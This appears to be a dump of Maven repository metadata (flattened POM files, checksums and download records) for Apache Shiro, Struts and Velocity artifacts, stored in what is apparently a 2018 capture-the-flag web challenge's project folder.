================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/shiro-root-1.2.3.pom ================================================ 4.0.0 org.apache apache 7 org.apache.shiro shiro-root pom 1.2.3 Apache Shiro http://shiro.apache.org/ Apache Shiro is a powerful and flexible open-source security framework that cleanly handles authentication, authorization, enterprise session management, single sign-on and cryptography services. 2004 scm:svn:http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3 scm:svn:https://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3 http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3 Jira http://issues.apache.org/jira/browse/SHIRO Hudson http://hudson.zones.apache.org/hudson/view/Shiro/ shiro.website Apache Shiro Site scm:svn:https://svn.apache.org/repos/asf/shiro/site/publish/static/latest ${user.name}-${maven.build.timestamp} [1.2, 2) 1.6.12 1.2 1.4 1.5.2 2.5.0 1.8.0.7 1.5 6.1.26 1.6.1 1.6.4 3.1.0.RELEASE 3.0 r09 3.1 1.3 1.8.5 4.8.2 Apache Shiro Users Mailing List user-subscribe@shiro.apache.org user-unsubscribe@shiro.apache.org user@shiro.apache.org Apache Shiro Developers Mailing List dev-subscribe@shiro.apache.org dev-unsubscribe@shiro.apache.org dev@shiro.apache.org aditzel Allan Ditzel aditzel@apache.org http://www.allanditzel.com Apache Software Foundation -5 jhaile Jeremy Haile jhaile@apache.org http://www.jeremyhaile.com Mobilization Labs http://www.mobilizationlabs.com -5 lhazlewood Les Hazlewood lhazlewood@apache.org http://www.leshazlewood.com Katasoft http://www.katasoft.com -8 kaosko Kalle Korhonen kaosko@apache.org http://tynamo.org Apache Software Foundation -8 pledbrook Peter Ledbrook p.ledbrook@cacoethes.co.uk http://www.cacoethes.co.uk/blog/ SpringSource http://www.springsource.com/ 0 tveil Tim Veil tveil@apache.org bdemers Brian Demers bdemers@apache.org http://about.me/brian.demers Sonatype http://www.sonatype.com/ -5 jbunting Jared Bunting jbunting@apache.org Apache Software Foundation -6 core web support samples tools all org.apache.felix maven-bundle-plugin 2.1.0 org.apache.maven.plugins maven-gpg-plugin 1.1 org.apache.maven.plugins maven-site-plugin 3.1 org.apache.maven.plugins maven-scm-publish-plugin 1.0 org.apache.rat apache-rat-plugin 0.8 **/.externalToolBuilders/* **/infinitest.filters velocity.log org.codehaus.mojo versions-maven-plugin 1.2 org.codehaus.gmaven gmaven-plugin ${gmaven.version} 1.7 src/main/groovy org.codehaus.gmaven.runtime gmaven-runtime-1.7 ${gmaven.version} org.codehaus.groovy groovy-all org.codehaus.groovy groovy-all ${groovy.version} org.eclipse.m2e lifecycle-mapping 1.0.0 org.codehaus.mojo aspectj-maven-plugin [1.3,) test-compile compile org.apache.maven.plugins maven-antrun-plugin [1.3,) run org.codehaus.mojo dependency-maven-plugin [1.0,) unpack org.codehaus.mojo build-helper-maven-plugin 1.7 org.codehaus.mojo dependency-maven-plugin 1.0 org.apache.rat apache-rat-plugin org.apache.maven.plugins maven-compiler-plugin 2.0.2 ${jdk.version} ${jdk.version} ${project.build.sourceEncoding} org.apache.maven.plugins maven-surefire-plugin 2.12 true org.codehaus.gmaven gmaven-plugin ${gmaven.version} compile testCompile org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-4 validate create false false ${project.version} org.apache.maven.plugins maven-jar-plugin 2.3.1 true true ${buildNumber} ${project.scm.url} org.apache.maven.plugins maven-release-plugin clean apache-rat:check install true false deploy site site:stage -Pdocs,apache-release forked-path org.sonatype.plugins nexus-staging-maven-plugin 1.6 true https://repository.apache.org apache.releases.https junit junit ${junit.version} test org.easymock easymock ${easymock.version} test org.codehaus.groovy groovy-all ${groovy.version} test org.apache.shiro shiro-core ${project.version} org.apache.shiro shiro-web ${project.version} org.apache.shiro shiro-ehcache ${project.version} org.apache.shiro shiro-quartz ${project.version} org.apache.shiro shiro-spring ${project.version} org.apache.shiro shiro-guice ${project.version} org.apache.shiro shiro-aspectj ${project.version} org.apache.shiro shiro-all ${project.version} org.apache.shiro.samples samples-spring-client ${project.version} org.apache.shiro shiro-core ${project.version} test-jar test commons-cli commons-cli ${commons.cli.version} commons-codec commons-codec ${commons.codec.version} runtime org.aspectj aspectjrt ${aspectj.version} org.aspectj aspectjweaver ${aspectj.version} com.atlassian.crowd crowd-integration-client ${crowd.version} org.slf4j slf4j-api ${slf4j.version} org.slf4j slf4j-simple ${slf4j.version} test org.slf4j slf4j-log4j12 ${slf4j.version} test org.slf4j jcl-over-slf4j ${slf4j.version} test commons-beanutils commons-beanutils 1.8.3 commons-logging commons-logging hsqldb hsqldb ${hsqldb.version} runtime true javax.servlet.jsp jsp-api 2.1 provided javax.servlet jstl 1.1.2 provided javax.servlet servlet-api 2.5 provided log4j log4j 1.2.16 test javax.mail mail javax.jms jms com.sun.jdmk jmxtools com.sun.jmx jmxri org.codehaus.groovy groovy-all ${groovy.version} net.sf.ehcache ehcache-core ${ehcache.version} true commons-logging commons-logging org.hibernate hibernate 3.2.6.ga true commons-logging commons-logging ant ant ant-launcher ant-launcher c3p0 c3p0 javax.security jacc javax.servlet servlet-api jboss jboss-cache net.sf.ehcache ehcache asm asm-attrs javax.transaction jta org.apache.geronimo.specs geronimo-jta_1.1_spec 1.1.1 runtime true org.hibernate hibernate-annotations 3.2.1.ga true org.springframework spring-context ${spring.version} true commons-logging commons-logging org.springframework spring-jdbc ${spring.version} true commons-logging commons-logging org.springframework spring-orm ${spring.version} true commons-logging commons-logging org.springframework spring-webmvc ${spring.version} true commons-logging commons-logging org.springframework spring-test ${spring.version} test true commons-logging commons-logging com.google.guava guava ${guava.version} com.google.inject guice ${guice.version} com.google.inject.extensions guice-multibindings ${guice.version} com.google.inject.extensions guice-servlet ${guice.version} org.opensymphony.quartz quartz ${quartz.version} true commons-logging commons-logging maven-javadoc-plugin 2.7 ${jdk.version} ${project.build.sourceEncoding} true http://java.sun.com/javase/6/docs/api/ http://java.sun.com/javaee/5/docs/api/ http://www.slf4j.org/api/ http://static.springframework.org/spring/docs/2.5.x/api/ http://junit.org/junit/javadoc/4.4/ http://easymock.org/api/easymock/2.4 http://www.quartz-scheduler.org/docs/api/1.8.0/ org.apache.shiro.samples.* ]]> javadoc-aggregate aggregate org.codehaus.mojo cobertura-maven-plugin 2.4 xml html maven-jxr-plugin 2.1 true maven-pmd-plugin 2.5 utf-8 1.5 maven-project-info-reports-plugin 2.2 false org.apache.rat apache-rat-plugin 0.8 **/.externalToolBuilders/* **/infinitest.filters velocity.log maven-surefire-report-plugin 2.5 org.codehaus.mojo taglist-maven-plugin 2.4 Todo Work todo ignoreCase FIXME exact Deprecated @Deprecated exact org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.codehaus.mojo dashboard-maven-plugin 1.0.0-beta-1 docs org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-api-docs jar true org.apache.maven.plugins maven-source-plugin 2.0.4 attach-sources jar true apache-release shiro.website Apache Shiro Site scm:svn:https://svn.apache.org/repos/asf/shiro/site/publish/static/${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/shiro-root-1.2.3.pom.sha1 ================================================ 2424f8a4dff81654d93d3f0803f56a60137db374 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 shiro-spring-1.2.3.jar>central= shiro-spring-1.2.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.jar.sha1 ================================================ 1e1cce0a92ce3612967de861a2a94e01e47faa73 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.pom ================================================ org.apache.shiro shiro-root 1.2.3 ../../pom.xml 4.0.0 shiro-spring Apache Shiro :: Support :: Spring bundle org.apache.shiro shiro-core org.apache.shiro shiro-web javax.servlet servlet-api provided org.springframework spring-context provided org.slf4j jcl-over-slf4j test org.slf4j slf4j-log4j12 test log4j log4j test org.springframework spring-test test org.apache.shiro shiro-aspectj test org.apache.felix maven-bundle-plugin true org.apache.shiro.spring org.apache.shiro.spring*;version=${project.version} org.apache.shiro*;version="${shiro.osgi.importRange}", org.aopalliance*;version="[1.0.0, 2.0.0)", org.springframework*;version="[2.5.0, 4.0.0)", * ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.pom.sha1 ================================================ b0f4ce7e7d2c22aeced10230d9c14ad9e0447840 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 shiro-web-1.2.3.jar>central= shiro-web-1.2.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.jar.sha1 ================================================ 4dbcac122a883c29d32fe94f6b1525e5a81884ec ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.pom ================================================ org.apache.shiro shiro-root 1.2.3 ../pom.xml 4.0.0 shiro-web Apache Shiro :: Web bundle org.apache.shiro shiro-core javax.servlet.jsp jsp-api javax.servlet jstl javax.servlet servlet-api org.apache.shiro shiro-core test-jar test org.slf4j jcl-over-slf4j org.slf4j slf4j-log4j12 log4j log4j org.apache.felix maven-bundle-plugin true org.apache.shiro.web org.apache.shiro.web*;version=${project.version} org.apache.shiro*;version="${shiro.osgi.importRange}", javax.servlet.jsp*;resolution:=optional, * ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.pom.sha1 ================================================ 936770addfa26a24b5f4572511574ebbe3d27a16 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 struts-core-1.3.8.jar>central= struts-core-1.3.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.jar.sha1 ================================================ 66178d4a9279ebb1cd1eb79c10dc204b4199f061 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.pom ================================================ struts-parent org.apache.struts 1.3.8 4.0.0 org.apache.struts struts-core Struts Core 1.3.8 http://struts.apache.org scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/core/ scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/core http://svn.apache.org/repos/asf/struts/struts1/trunk/core src/main/resources src/main/java **/*.properties src/test/java **/*.xml **/*.properties pre-assembly maven-javadoc-plugin attach-javadoc jar maven-source-plugin attach-source jar antlr antlr 2.7.2 commons-beanutils commons-beanutils 1.7.0 commons-chain commons-chain 1.1 myfaces-api myfaces portlet-api javax.portlet commons-digester commons-digester 1.8 commons-fileupload commons-fileupload 1.1.1 true commons-logging commons-logging 1.0.4 commons-validator commons-validator 1.3.1 xml-apis xml-apis javax.servlet servlet-api 2.3 provided junit junit 3.8.1 true oro oro 2.0.8 apache-site scp://people.apache.org/www/struts.apache.org/1.x/struts-core deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.pom.sha1 ================================================ ce1c07f0ecddb23c50c2f0a12c0b12d8cf1eb6d5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:39 CST 2018 struts-master-4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/struts-master-4.pom ================================================ 4.0.0 org.apache apache 2 org.apache.struts struts-master 4 pom Apache Struts scm:svn:http://svn.apache.org/repos/asf/struts/maven/trunk/pom scm:svn:http://svn.apache.org/repos/asf/struts/maven/trunk/pom http://svn.apache.org/repos/asf/struts/maven/trunk/pom The goal of the Apache Struts project is to encourage application architectures based on the "Model 2" approach, a variation of the classic Model-View-Controller (MVC) design paradigm. Under Model 2, a servlet (or equivalent) manages business logic execution, and presentation logic resides mainly in server pages. http://struts.apache.org/ 2000 Struts User List user-subscribe@struts.apache.org user-unsubscribe@struts.apache.org user@struts.apache.org http://mail-archives.apache.org/mod_mbox/struts-user/ http://struts.apache.org/mail.html#Archives Struts Developer List dev-subscribe@struts.apache.org dev-unsubscribe@struts.apache.org dev@struts.apache.org http://mail-archives.apache.org/mod_mbox/struts-dev/ http://struts.apache.org/mail.html#Archives Struts Commits List commits-subscribe@struts.apache.org commits-unsubscribe@struts.apache.org http://mail-archives.apache.org/mod_mbox/struts-commits/ http://struts.apache.org/mail.html#Archives Struts Issues List issues-subscribe@struts.apache.org issues-unsubscribe@struts.apache.org http://mail-archives.apache.org/mod_mbox/struts-issues/ http://struts.apache.org/mail.html#Archives Craig R. McClanahan craigmcc craigmcc at apache.org PMC Member Ted Husted husted husted at apache.org PMC Member Cedric Dumoulin cedric cedric.dumoulin at lifl.fr PMC Member Martin Cooper martinc martinc at apache.org PMC Chair James Holmes jholmes jholmes at apache.org PMC Member David M. Karr dmkarr dmkarr at apache.org PMC Member Eddie Bush ekbush ekbush at apache.org Committer David Graham dgraham dgraham at apache.org PMC Member James Mitchell jmitchell jmitchell at apache.org PMC Member Don Brown mrdon mrdon at apache.org PMC Member Joe Germuska germuska germuska at apache.org PMC Member Niall Pemberton niallp niallp at apache.org PMC Member Hubert Rabago hrabago hrabago at apache.org PMC Member David Geary dgeary dgeary at apache.org Committer Wendy Smoak wsmoak wsmoak at apache.org PMC Member Gary VanMatre gvanmatre gvanmatre at apache.org PMC Member Sean Schofield schof schof at apache.org PMC Member Greg Reddin greddin greddin at apache.org PMC Member Laurie Harper laurieh laurieh at apache.org Committer Richard Feit rich rich at apache.org Committer Jason Carreira jcarreira jcarreira at apache.org Committer Patrick Lightbody plightbo plightbo at apache.org Committer Alexandru Popescu apopescu apopescu at apache.org Committer Rene Gielen rgielen rgielen at apache.org Committer Rainer Hermanns hermanns hermanns at apache.org Committer Toby Jee tmjee tmjee at apache.org Committer Ian Roughley roughley roughley at apache.org Committer Paul Benedict Committer Michael Jouravlev mikus mikus at apache.org Committer Bob Lee crazybob crazybob at apache.org Committer David H. DeWolf ddewolf ddewolf at apache.org Committer struts-staging Apache Struts Staging Repository scp://people.apache.org/www/people.apache.org/builds/struts/m2-staging-repository true apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache-site Apache Struts Website scp://people.apache.org/www/struts.apache.org ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/struts-master-4.pom.sha1 ================================================ 1c8da55c806d8fbf788c512e25109c0a000dc19c ./org/apache/struts/struts-master/4/struts-master-4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:38 CST 2018 struts-parent-1.3.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/struts-parent-1.3.8.pom ================================================ org.apache.struts struts-master 4 4.0.0 org.apache.struts struts-parent 1.3.8 pom Struts http://struts.apache.org/ Apache Struts 2000 scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk http://svn.apache.org/viewcvs.cgi/struts/struts1/trunk JIRA http://issues.apache.org/struts/ apache-site scp://people.apache.org/www/struts.apache.org/1.x/ apps apps apps itest itest integration assembly assembly assembly release release org.apache.maven.plugins maven-gpg-plugin sign-artifacts verify sign core el extras faces mailreader-dao scripting taglib tiles The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Software Foundation http://www.apache.org/ org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 maven-site-plugin 2.0-beta-4 maven-source-plugin 2.0.1 maven-jar-plugin 2.1 true true net.sf.dtddoc dtddoc-maven-plugin 1.0.0 net.sourceforge.maven-taglib maven-taglib-plugin 2.3 maven-antrun-plugin false 1.1 copy-dtds site run install org.apache.maven.plugins maven-project-info-reports-plugin maven-javadoc-plugin 2.1 true maven-surefire-report-plugin maven-checkstyle-plugin http://svn.apache.org/repos/asf/struts/maven/trunk/build/struts_checks.xml org.apache.maven.plugins maven-jxr-plugin maven-pmd-plugin net.sf.dtddoc dtddoc-maven-plugin **/web-app* apache.snapshots Apache Maven Repository (Snapshots and Test Builds) http://people.apache.org/maven-snapshot-repository false true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/struts-parent-1.3.8.pom.sha1 ================================================ f3958c3355a5949b1c924b0ea22b0aa5c6d86274 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 struts-taglib-1.3.8.pom>central= struts-taglib-1.3.8.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.jar.sha1 ================================================ e87e9817bdf03c2367fb5f6d5ead953db2df4c21 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.pom ================================================ struts-parent org.apache.struts 1.3.8 4.0.0 org.apache.struts struts-taglib Struts Taglib 1.3.8 http://struts.apache.org scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/ scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/ http://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/ src/main/resources src/main/java **/*.properties src/test/java **/*.java pre-assembly maven-javadoc-plugin attach-javadoc jar maven-source-plugin attach-source jar junit junit 3.8.1 test javax.servlet servlet-api 2.3 provided org.apache.struts struts-core 1.3.8 net.sourceforge.maven-taglib maven-taglib-plugin ${basedir}/src/main/resources/META-INF/tld apache-site scp://people.apache.org/www/struts.apache.org/1.x/struts-taglib deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.pom.sha1 ================================================ 2aeddb7ea2febcd4734ebcdf33968925c847ead3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 struts-tiles-1.3.8.pom>central= struts-tiles-1.3.8.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.jar.sha1 ================================================ 6d212f8ea5d908bc9906e669428b7694dff60785 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.pom ================================================ struts-parent org.apache.struts 1.3.8 4.0.0 org.apache.struts struts-tiles Struts Tiles 1.3.8 http://struts.apache.org scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/ scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/ http://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/ src/main/resources src/test/java **/*.xml pre-assembly maven-javadoc-plugin attach-javadoc jar maven-source-plugin attach-source jar javax.servlet servlet-api 2.3 provided junit junit 3.8.1 test org.apache.struts struts-core 1.3.8 net.sourceforge.maven-taglib maven-taglib-plugin ${basedir}/src/main/resources/META-INF/tld apache-site scp://people.apache.org/www/struts.apache.org/1.x/struts-tiles deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.pom.sha1 ================================================ 3f13b707b4220197c94b48d366e6ca79cb28f805 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 velocity-1.5.jar>central= velocity-1.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.jar.sha1 ================================================ 09f306baf7523ffc0e81a6353d08a584d254133b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.pom ================================================ 4.0.0 org.apache.velocity velocity pom Apache Velocity 1.5 Apache Velocity is a general purpose template engine. http://velocity.apache.org/engine/releases/velocity-1.5/ JIRA https://issues.apache.org/jira/browse/VELOCITY 2000 wglass Will Glass-Husain wglass@forio.com Forio Business Simulations Java Developer geirm Geir Magnusson Jr. geirm@optonline.net Independent (DVSL Maven) Java Developer dlr Daniel Rall dlr@finemaltcoding.com CollabNet, Inc. Java Developer henning Henning P. Schmiedehausen hps@intermeta.de INTERMETA - Gesellschaft für Mehrwertdienste mbH Java Developer 2 nbubna Nathan Bubna nathan@esha.com ESHA Research Java Developer The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo scm:svn:http://svn.apache.org/repos/asf/velocity/engine/tags/Velocity_1.5 scm:svn:https://svn.apache.org/repos/asf/velocity/engine/tags/Velocity_1.5 http://svn.apache.org/viewvc/velocity/engine/tags/Velocity_1.5 The Apache Software Foundation http://www.apache.org/ src/java src/test install maven-site-plugin UTF-8 UTF-8 ${basedir}/xdocs/docs false apache.snapshots Apache Snapshot Repository http://people.apache.org/repo/m2-snapshot-repository commons-collections commons-collections 3.1 commons-lang commons-lang 2.1 oro oro 2.0.8 jdom jdom 1.0 provided log4j log4j 1.2.12 provided javax.servlet servlet-api 2.3 provided logkit logkit 2.0 provided ant ant 1.6 provided werken-xpath werken-xpath 0.9.4 provided maven-project-info-reports-plugin dependencies issue-tracking license summary scm maven-changes-plugin 12311337 fixfor=12310253&fixfor=12312142&fixfor=12312057&sorter/field=issuekey&sorter/order=ASC 500 http://velocity.apache.org/who-we-are.html changes-report jira-report org.codehaus.mojo taglist-maven-plugin TODO FIXME maven-jxr-plugin maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api http://jakarta.apache.org/oro/api http://jakarta.apache.org/commons/lang/api-release http://jakarta.apache.org/commons/collections/api-release http://www.jdom.org/docs/apidocs http://logging.apache.org/log4j/docs/api http://excalibur.apache.org/apidocs http://tomcat.apache.org/tomcat-4.1-doc/servletapi maven-changelog-plugin apache.releases Apache Release Distribution Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository velocity.apache.org scpexe://people.apache.org/www/velocity.apache.org/engine/releases/velocity-1.5/ deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.pom.sha1 ================================================ 106262b58f0f2b44cc0dbb3d0fa77105f28f5e38 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:48 CST 2018 velocity-1.6.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom ================================================ 4.0.0 org.apache apache 4 org.apache.velocity velocity 1.6.2 Apache Velocity http://velocity.apache.org/engine/releases/velocity-1.6.2/ Apache Velocity is a general purpose template engine. 2000 jar 2.0.9 install src/java src/test org.apache.maven.plugins maven-site-plugin UTF-8 UTF-8 ${basedir}/xdocs/docs src/java **/*.java velocity.apache.org scpexe://people.apache.org/www/velocity.apache.org/engine/releases/velocity-1.6.2/ apache.releases Apache Release Distribution Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository Will Glass-Husain wglass wglass@forio.com Forio Business Simulations Java Developer Geir Magnusson Jr. geirm geirm@optonline.net Independent (DVSL Maven) Java Developer Daniel Rall dlr dlr@finemaltcoding.com CollabNet, Inc. Java Developer Henning P. Schmiedehausen henning hps@intermeta.de INTERMETA - Gesellschaft für Mehrwertdienste mbH Java Developer 2 Nathan Bubna nbubna nathan@esha.com ESHA Research Java Developer commons-collections commons-collections 3.2.1 commons-lang commons-lang 2.4 oro oro 2.0.8 jdom jdom 1.0 provided commons-logging commons-logging 1.1 provided avalon-framework avalon-framework log4j log4j javax.servlet servlet-api log4j log4j 1.2.12 provided javax.servlet servlet-api 2.3 provided logkit logkit 2.0 provided ant ant 1.6 provided werken-xpath werken-xpath 0.9.4 provided junit junit 3.8.1 test hsqldb hsqldb 1.7.1 test org.apache.maven.plugins maven-project-info-reports-plugin 2.1 dependencies issue-tracking license summary scm org.apache.maven.plugins maven-changes-plugin 2.0 changes-report jira-report ${jira.browse.url}/%ISSUE% 12311337 fixfor=12310290&sorter/field=issuekey&sorter/order=ASC 100 http://velocity.apache.org/who-we-are.html org.codehaus.mojo taglist-maven-plugin 2.2 TODO FIXME org.apache.maven.plugins maven-jxr-plugin 2.1 org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/j2se/1.4.2/docs/api http://jakarta.apache.org/oro/api http://jakarta.apache.org/commons/lang/api-release http://jakarta.apache.org/commons/collections/api-release http://www.jdom.org/docs/apidocs http://logging.apache.org/log4j/docs/api http://excalibur.apache.org/apidocs http://tomcat.apache.org/tomcat-4.1-doc/servletapi org.apache.maven.plugins maven-changelog-plugin 2.1 org.codehaus.mojo findbugs-maven-plugin 1.2 true Low Max build/findbugs-exclude.xml xdocs scm:svn:http://svn.apache.org/repos/asf/velocity/engine/branches/1.6.x scm:svn:https://svn.apache.org/repos/asf/velocity/engine/branches/1.6.x HEAD http://svn.apache.org/viewvc/velocity/engine/branches/1.6.x https://issues.apache.org/jira/browse JIRA ${jira.browse.url}/VELOCITY ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom.sha1 ================================================ 929626ce5697f341cdf81bbbd9c7387b701a821f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 velocity-tools-2.0.jar>central= velocity-tools-2.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar.sha1 ================================================ 69936384de86857018b023a8c56ae0635c56b6a0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom ================================================ 4.0.0 org.apache.velocity velocity-tools VelocityTools 2.0 jar Apache Software Foundation http://velocity.apache.org/ http://velocity.apache.org/tools/devel/ VelocityTools is an integrated collection of Velocity subprojects with the common goal of creating tools and infrastructure to speed and ease development of both web and non-web applications using the Velocity template engine. 2002 The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo A business-friendly OSS license install build/classes dist org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 org.apache.maven.plugins maven-site-plugin UTF-8 UTF-8 org.apache.maven.plugins maven-surefire-plugin **/Test*.java **/*Test.java **/*TestCase.java **/*Tests.java src/main/java **/*.java velocity.apache.org scpexe://people.apache.org/www/velocity.apache.org/tools/releases/velocity-tools-2.0/ apache.releases Apache Release Distribution Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository nbubna Nathan Bubna nbubna@apache.org ESHA Research -8 Java Developer henning Henning Schmiedehausen henning@apache.org Java Developer wglass Will Glass-Husain wglass@apache.org Java Developer geirm Geir Magnusson Jr. geirm@apache.org Java Developer dlr Daniel Rall dlr@apache.org Java Developer marino Marinó A. Jónsson marino@apache.org Java Developer cbrisson Claude Brisson cbrisson@apache.org Java Developer Craig R. McClanahan Christopher Schultz Chris Townsen Dave Bryson David Graham David Winterfeldt Denis Bredelet Dmitri Colebatch Gabriel Sidler Jon S. Stevens Kent Johnson Leon Messerschmidt Mike Kienenberger S. Brett Sutton Shinobu Kawai Ted Husted Tim Colson org.apache.maven.plugins maven-project-info-reports-plugin dependencies issue-tracking license summary scm org.apache.maven.plugins maven-changes-plugin changes-report jira-report sorter/field=issuekey&sorter/order=ASC 100 http://velocity.apache.org/who-we-are.html org.codehaus.mojo taglist-maven-plugin TODO FIXME org.apache.maven.plugins maven-jxr-plugin org.apache.maven.plugins maven-javadoc-plugin http://java.sun.com/j2se/1.5.0/docs/api http://jakarta.apache.org/commons/lang/api-release http://jakarta.apache.org/commons/logging/api-release 